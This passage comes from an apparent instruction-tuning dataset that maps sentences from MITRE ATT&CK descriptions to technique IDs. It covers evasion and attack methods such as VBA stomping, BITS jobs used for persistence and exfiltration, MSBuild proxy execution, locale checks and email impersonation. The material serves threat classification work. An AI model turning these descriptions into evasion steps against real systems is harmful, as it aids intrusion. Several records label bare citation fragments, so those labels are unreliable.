benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac) ### Response: T1027.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.", "output": "T1065", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured. ### Response: T1065."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions.", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check) ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts.", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019)", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation:", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation: ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation:", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SecureList SynAck Doppelg\u00e4nging May 2018)", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SecureList SynAck Doppelg\u00e4nging May 2018) ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable. ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information in an attempt to calculate the geographical location of a victim host.", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation:", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bleepingcomputer RAT malware 2020)", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bleepingcomputer RAT malware 2020) ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020)", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation:", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Instance Metadata 2021)", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Instance Metadata 2021) ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016) ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation:", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft _VBA_PROJECT Stream)", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft _VBA_PROJECT Stream) ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the VBA source code is removed, some tools might even think that there are no macros present.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the VBA source code is removed, some tools might even think that there are no macros present. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev) ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks.", "output": "T1197", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. ### Response: T1197."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation:", "output": "T1197", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: ### Response: T1197."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications.", "output": "T1197", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. ### Response: T1197."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.", "output": "T1197", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. ### Response: T1197."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)", "output": "T1197", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) ### Response: T1197."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)).", "output": "T1197", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). ### Response: T1197."}{"instruction": "List the MITRE techniques contained in the text.", "input": "BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007)", "output": "T1197", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) ### Response: T1197."}{"instruction": "List the MITRE techniques contained in the text.", "input": "BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)", "output": "T1197", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016) ### Response: T1197."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads.", "output": "T1127", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. ### Response: T1127."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3", "output": "T1127", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 ### Response: T1127."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker)", "output": "T1127", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) ### Response: T1127."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.", "output": "T1127", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions. ### Response: T1127."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility.", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSBuild.exe", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSBuild.exe ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Microsoft Build Engine) is a software build platform used by Visual Studio.", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Microsoft Build Engine) is a software build platform used by Visual Studio. ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse MSBuild to proxy execution of malicious code.", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse MSBuild to proxy execution of malicious code. ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation:", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task.", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild) ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf.", "output": "T1656", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. ### Response: T1656."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor.", "output": "T1656", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. ### Response: T1656."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Established trust can then be leveraged to accomplish an adversary\u2019s ultimate goals, possibly against multiple victims.", "output": "T1656", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Established trust can then be leveraged to accomplish an adversary\u2019s ultimate goals, possibly against multiple victims. ### Response: T1656."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).", "output": "T1656", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657). ### Response: T1656."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected.", "output": "T1656", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. ### Response: T1656."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary\u2019s goal.", "output": "T1656", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary\u2019s goal. ### Response: T1656."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Impersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)", "output": "T1656", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Impersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC) ### Response: T1656."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There is the potential for multiple victims in campaigns involving impersonation.", "output": "T1656", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There is the potential for multiple victims in campaigns involving impersonation. ### Response: T1656."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)", "output": "T1656", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC) ### Response: T1656."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A modification to the 